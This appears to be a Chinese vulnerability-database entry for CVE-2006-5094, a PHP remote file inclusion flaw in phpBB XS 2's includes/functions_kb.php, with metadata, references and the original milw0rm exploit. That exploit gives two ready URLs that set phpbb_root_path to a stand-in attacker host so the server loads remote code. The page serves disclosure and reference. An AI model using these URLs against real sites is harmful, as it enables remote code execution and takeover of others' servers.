phpBB XS 2 'includes/functions_kb.php'PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111161 漏洞类型 输入验证
发布时间 2006-09-28 更新时间 2006-10-09
CVE编号 CVE-2006-5094 CNNVD-ID CNNVD-200609-546
漏洞平台 PHP CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/2453
https://cxsecurity.com/issue/WLB-2006100026
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200609-546
|漏洞详情
phpBBXS2(西班牙版本)的includes/functions_kb.php中存在PHP远程文件包含漏洞。远程攻击者可以通过phpbb_root_path参数中的URL执行任意PHP代码。
|漏洞EXP
###########################################################

#phpBB XS <= 0.58 (phpbb_root_path) Remote File Include Vulnerability(2)

############################################################

#Author: XORON - SHiKaA

############################################################

#URL: http://www.comscripts.com/jump.php?action=script&id=1082

############################################################

#Class: Remote

############################################################

#Code:   include($phpbb_root_path . 'language/lang_' .
$board_config['default_lang'] . '/lang_bbcb_mg.' . $phpEx);

############################################################

#Exploit:

http://www.site.com/[path]/includes/functions_kb.php?phpbb_root_path=http://evil_scripts?
http://www.site.com/[path]/includes/bbcb_mg.php?phpbb_root_path=http://evil_scripts?

############################################################

#Greetz: str0ke and AzzCoder ;)

############################################################

# milw0rm.com [2006-09-28]
|参考资料

来源:XF
名称:phpbb-functionskb-file-include(29250)
链接:http://xforce.iss.net/xforce/xfdb/29250
来源:BID
名称:20251
链接:http://www.securityfocus.com/bid/20251
来源:BUGTRAQ
名称:20060928SolpotCrewAdvisory#14-phpBBXS2spainversion(phpbb_root_path)RemoteFileInclusion
链接:http://www.securityfocus.com/archive/1/archive/1/447292/100/0/threaded
来源:MISC
链接:http://www.nyubicrew.org/adv/solpot-adv-10.txt
来源:VUPEN
名称:ADV-2006-3843
链接:http://www.frsirt.com/english/advisories/2006/3843
来源:SECUNIA
名称:22177
链接:http://secunia.com/advisories/22177
来源:SREASON
名称:1660
链接:http://securityreason.com/securityalert/1660